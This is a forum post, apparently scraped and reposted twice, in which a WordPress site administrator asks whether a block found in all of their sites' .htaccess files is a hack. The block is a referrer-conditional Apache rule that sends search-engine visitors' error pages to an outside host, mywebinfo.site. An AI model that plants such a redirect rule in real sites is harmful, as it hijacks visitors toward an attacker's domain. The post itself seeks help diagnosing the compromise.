J
Joe Balazs
Guest
Joe Balazs Asks: Is this .htaccess file hacked? All of the sites I manage get random redirects
Is this htaccess file hacked? I'm referring to this code that's in all of the site's htaccess files:
<If "%{HTTP_REFERER} =~ m#/(.google.)|(.bing.)/#"> ErrorDocument 404 http://mywebinfo.site/jquery.php?referrer404=%{escape:%{HTTP_REFERER}} ErrorDocument 500 http://mywebinfo.site/jquery.php?referrer500=%{escape:%{HTTP_REFERER}}
I have installed Wordfence on all the sites that I manage for my company, and am constantly scanning and picking malicious stuff, but it never says anything about the .htaccess files...and they all have this code in them after #END Wordpress and before the code that Wordfence injects in there...
Here's a link to one of the sites, which today is redirecting...but it seems like the redirects are running in some kind of cascading effect, as in we have a bunch of sites under our hosting account, and one day site A redirecrts, and the next day site B redirects...anyways, today this site is redirecting:
[ODOT Apparel]
This site, along with every other site we have, has that code in it's htaccess file, and I'm wondering if that's part of the problem. FYI, I'm sort of self-taught out of necessity when it comes to this stuff, so be kind lol.
Is this htaccess file hacked? I'm referring to this code that's in all of the site's htaccess files:
Code:
# END WordPress
<If "%{HTTP_REFERER} =~ m#/(.google.)|(.bing.)/#"> ErrorDocument 404 http://mywebinfo.site/jquery.php?referrer404=%{escape:%{HTTP_REFERER}} ErrorDocument 500 http://mywebinfo.site/jquery.php?referrer500=%{escape:%{HTTP_REFERER}}
I have installed Wordfence on all the sites that I manage for my company, and am constantly scanning and picking malicious stuff, but it never says anything about the .htaccess files...and they all have this code in them after #END Wordpress and before the code that Wordfence injects in there...
Here's a link to one of the sites, which today is redirecting...but it seems like the redirects are running in some kind of cascading effect, as in we have a bunch of sites under our hosting account, and one day site A redirecrts, and the next day site B redirects...anyways, today this site is redirecting:
[ODOT Apparel]
This site, along with every other site we have, has that code in it's htaccess file, and I'm wondering if that's part of the problem. FYI, I'm sort of self-taught out of necessity when it comes to this stuff, so be kind lol.
SolveForum.com may not be responsible for the answers or solutions given to any question asked by the users. All Answers or responses are user generated answers and we do not have proof of its validity or correctness. Please vote for the answer that helped you in order to help others find out which is the most helpful answer. Questions labeled as solved may be solved or may not be solved depending on the type of question and the date posted for some posts may be scheduled to be deleted periodically. Do not hesitate to share your thoughts here to help others.